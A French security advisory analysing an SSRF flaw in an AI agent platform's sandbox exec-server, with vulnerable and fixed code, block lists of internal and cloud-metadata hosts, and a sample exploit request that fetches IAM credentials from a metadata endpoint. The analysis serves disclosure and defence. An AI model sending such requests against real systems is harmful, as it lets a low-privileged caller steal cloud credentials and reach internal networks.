
Analyse approfondie de CVE-2026-62201 : contournement de la politique réseau du serveur d'exécution sandbox d'OpenClaw (SSRF). Cause racine, code vulnérable vs corrigé, exploitation, détection, remédiation.
Sévérité : Élevée · CVSS : 7,7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (Server-Side Request Forgery)
| Champ | Valeur |
|---|---|
| Avis de sécurité | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| Produit | OpenClaw (paquet npm openclaw) — composant sandbox exec-server |
| Versions affectées | openclaw < 2026.6.6 |
| Version corrigée | 2026.6.6 et ultérieures |
| Cause racine | Absence de validation SSRF dans l'assistant HTTP intégré de l'exec-server (SANDBOX_HTTP_REQUEST_SCRIPT) |
| Commit de correction | 21410d1c — « fix(codex): guard sandbox http requests » |
| Vecteur d'attaque | Requête HTTP POST vers le gestionnaire http/request de l'exec-server avec une URL contrôlée par l'attaquant |
| Impact | Un appelant à faibles privilèges atteint des destinations réseau internes (métadonnées cloud, IP privées, services localhost) que la politique réseau d'OpenClaw devrait bloquer |
OpenClaw est une plateforme d'agents IA dont le sandbox exec-server expose un assistant de requêtes HTTP que les agents utilisent pour effectuer des appels web sortants. Les versions antérieures à 2026.6.6 fournissaient cet assistant sans protection SSRF : un appelant de confiance moindre — tout agent, outil ou chemin d'entrée que la plateforme considère comme moins fiable qu'un opérateur de passerelle — pouvait soumettre une URL arbitraire et faire en sorte que l'exec-server la récupère depuis le réseau de l'hôte.
Les contrôles de politique réseau applicables à l'egress direct du sandbox n'étaient pas appliqués lorsque les requêtes transitaient par l'interface HTTP de l'exec-server. Cette incohérence constitue la vulnérabilité : l'exec-server agissait comme un proxy HTTP sans restriction vers le réseau interne.
Lorsqu'OpenClaw exécute un agent Codex dans un sandbox, il démarre un exec-server local (extensions/codex/src/app-server/sandbox-exec-server.ts) qui héberge des méthodes JSON-RPC sur un transport WebSocket/HTTP. L'une de ces méthodes, http/request, permet à l'agent de récupérer des URL. L'implémentation fait transiter la requête par un petit script Python embarqué — SANDBOX_HTTP_REQUEST_SCRIPT — qui effectue le travail urllib réel.
Le gestionnaire de requêtes se trouve dans extensions/codex/src/app-server/sandbox-exec-server/http.ts.
L'assistant Python recevait l'URL et vérifiait uniquement le schéma :
# Extrait de [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (abrégé)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
C'est là toute la barrière. Il n'y avait :
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ était suivie aveuglémentRésultat : {"method":"GET","url":"http://<hôte-interne>/"} renvoyait le corps de la réponse interne à l'appelant. L'exec-server était un proxy ouvert vers le réseau de l'hôte.
Le commit 21410d1c a ajouté une défense en profondeur sur les deux couches :
Couche 1 — Pré-vérification TypeScript (assertSandboxHttpRequestTargetAllowed dans http.ts) :
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
Couche 2 — Durcissement de l'assistant Python (assert_url_allowed dans le script embarqué) :
localhost, localhost.localdomain, metadata.google.internal, plus les suffixes *.localhost, *.local, *.internal169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, benchmarking 198.18.0.0/15, documentation 2001:db8::/32, et plus encoreipaddress : loopback, privé, link-local, multicast, réservé, non spécifiéGuardedRedirectHandler : chaque saut de redirection ré-exécute assert_url_allowed avant d'être suivi::ffff:a.b.c.d), 6to4 (2002::/16), Teredo et ISATAP sont désencapsulées et leur IPv4 intégrée est vérifiéedef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 avec l'exec-server sandbox activéhttp/request (la plateforme considère cet accès comme à faibles privilèges — par exemple un plugin, un outil ou un chemin d'entrée, et non un opérateur de passerelle)Étape 1 — Envoyer une requête ciblant un service interne :
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
Étape 2 — Réponse vulnérable (HTTP 200) :
L'exec-server a récupéré l'URL interne et renvoyé le corps à l'appelant — encapsulé en base64 sous forme de bodyBase64 :
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
Décodé :
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
Étape 3 — Réponse corrigée (HTTP 502) :
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
La destination interne est inaccessible via l'exec-server sur les versions corrigées.